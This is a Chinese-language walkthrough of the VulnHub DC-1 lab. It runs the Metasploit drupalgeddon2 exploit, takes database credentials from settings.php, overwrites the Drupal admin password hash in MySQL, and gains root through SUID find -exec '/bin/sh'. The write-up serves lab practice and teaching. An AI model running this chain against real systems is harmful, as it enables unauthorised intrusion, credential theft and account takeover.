vulnhub靶场之DC-1

1 信息收集

1.1 主机发现

arp-scan -l 

主机ip地址为：192.168.1.4

1.2 端口服务扫描

nmap -sS -sV -A -T5 -p- 192.168.1.4  

开发22，80，111端口

1.3 目录扫描

dirsearch -u 192.168.1.4 

2 渗透测试

2.1 先访问一下80端口 发现是一个CMS 下标有个Drupal

2.2 搜了一下相关的drupal 漏洞

search drupal

2.3 利用漏洞插件进行攻击

use exploit/unix/webapp/drupal_drupalgeddon2  
set rhosts 192.168.1.4
run

2.4 漏洞利用

进入后渗透模块 ls 查看 有i个flag1.txt cat一下 提示：让我们看一下配置文件 durpal配置 /sites/default/settings.php

进入durpa配置文件在 settings.php 发现 flag2 和数据库一些信息

cd sites/default/
ls
cat settings.php

使用netstat -anptl查看3306是否开放，结果只允许本地连接

写一个python交互：

python -c "import pty;pty.spawn('/bin/bash')"

然后登入数据库 mysql -u 用户名 -p 密码 即可。

mysql -u dbuser -p
R0ck3t

show databases； ##列出数据库
use drupaldb；  ##使用drupaldb库
show tables； ##查看里面的表

发现有个users表，大胆猜测里面就是用户了，查看一下

select * from users；

$S$DdUJlpr6FhYobo7RkoGpy3OkE2Z1HR2DM6waydhKGZD6geebWJvZ
$S$DdUJlpr6FhYobo7RkoGpy3OkE2Z1HR2DM6waydhKGZD6geebWJvZ

这个时候想要知道密码就很头疼了，能想到的也就两个思路，要么修改密码，要么添加新用户。在这里我用的是修改密码。 首先我们要知道加密方式，然后利用加密方式设置新密码，自动生成密文，然后更改数据库里的密文即可，此时我灵光一现直接百度参考drupal数据库存放用户密码的加密脚本文件，直接就找到了。

/var/www/scripts/password-hash.sh

我们exit退出数据库，然后查看一下

还真有，这就好办了，直接设置密码生成密文就好了。

php /var/www/scripts/password-hash.sh password

后面那一串密文就是我们加密过的密码，此时我们把它复制一下，重新进入数据库更改admin用户的密码

update drupaldb.users set pass="$S$DrKONtJsaTqIyRcBMT2ZseHVp1Rq1tpcJwM8.49a5rnTJAqpwGLK" where name="admin"; ##修改密码

此时我们直接在web端的登陆页面用admin登进去，就可以随意查看网页了。

Flag3提示词有perms、find、-exec、shadow共四个特殊提示词

3 提权

cat /etc/passwd 发现了一个用户 `flag4

3.1 suid提权

这里我们就要用到find命令了，利用suid提权

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

以上三条命令都可以查看到具有suid权限的文件

使用find命令提权

find ./ aaa -exec '/bin/sh' \;